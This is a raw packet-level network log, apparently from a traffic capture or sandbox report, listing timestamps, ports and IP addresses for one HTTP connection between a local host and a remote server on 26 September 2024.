Sep 26, 2024 19:05:18.670190096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670190096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670192003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670209885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670218945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670218945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670223951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670250893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670250893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670334101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670357943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670372009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670382977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670403957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670403957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670423031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670433044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670497894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670509100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670528889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670533895 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670533895 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670566082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670566082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670620918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670669079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670680046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670701981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670702934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670758963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670769930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670792103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670794010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670794010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670804024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670836926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670836926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670882940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670893908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.670989990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.670995951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671000004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671020031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671030998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671041012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671041012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671060085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671071053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671071053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671071053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671109915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671109915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671188116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671200991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671236992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671236992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671261072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671272039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671293020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671304941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671310902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671310902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671327114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671334982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671360970 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671360970 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671525955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671536922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671555996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671566963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671574116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671586990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671597958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671602964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671619892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671631098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671633005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671633005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671679020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671679020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671799898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671972036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.671974897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.671983957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.672004938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.672015905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.672024965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.672024965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.672035933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.672044992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.672046900 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.672070026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.672077894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.672095060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.672095060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.672142029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754133940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754184008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754194975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754223108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754241943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754261971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754271030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754271030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754275084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754326105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754326105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754445076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754456997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754482985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754498005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754507065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754507065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754512072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754527092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754549026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754549026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754549026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754559994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754571915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754592896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754600048 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754600048 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754609108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754648924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754650116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754820108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754880905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754893064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754919052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.754920959 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754921913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754980087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.754980087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755004883 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755014896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755036116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755048037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755057096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755057096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755090952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755090952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755213022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755225897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755247116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755259037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755265951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755265951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755314112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755314112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755326033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755337000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755358934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755369902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755405903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755419016 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755512953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755526066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755548000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755559921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755563974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755563974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755582094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755582094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755594969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755604029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755619049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755631924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755636930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755636930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755652905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755717039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755717039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755819082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755831003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755853891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755868912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755868912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755917072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.755964041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.755976915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756012917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756012917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756040096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756052017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756069899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756093025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756093025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756191015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756203890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756225109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756231070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756231070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756238937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756261110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756261110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756261110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756289959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756294966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756294966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756339073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756350994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756369114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756372929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756372929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756385088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756403923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756403923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756433964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756633043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756645918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756666899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756678104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756688118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756688118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756699085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756710052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756724119 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756724119 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756731033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756743908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756763935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756767988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756767988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756774902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756797075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.756808043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756808043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.756845951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758440971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758454084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758476019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758486986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758512974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758512974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758512974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758526087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758548975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758549929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758608103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758620024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758641958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758642912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758642912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758671045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758671045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758801937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758814096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758832932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758846045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758855104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758855104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758867025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758879900 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.758887053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758887053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758919954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.758919954 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759104013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759115934 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759135962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759146929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759155989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759155989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759167910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759179115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759190083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759190083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759215117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759408951 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759411097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759423971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759452105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759462118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759462118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759464025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759484053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759495020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759502888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759502888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759517908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759529114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759537935 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759537935 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759550095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759562969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759569883 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759569883 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759586096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759601116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759601116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759601116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759622097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759639978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759640932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759640932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759656906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759674072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759676933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759676933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759695053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.759704113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.759704113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.760016918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.760052919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.760052919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.760063887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.760076046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.760108948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.760108948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.760170937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.760184050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.760205984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.760221004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.760221004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.760298014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.760308981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.760328054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.760334969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.760334969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.760339022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.760381937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.760381937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.841877937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.841937065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842022896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842022896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842063904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842077017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842097998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842108965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:18.842123032 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:18.842123032 CEST	49735	80	192.168.2.4	46.8.231.109
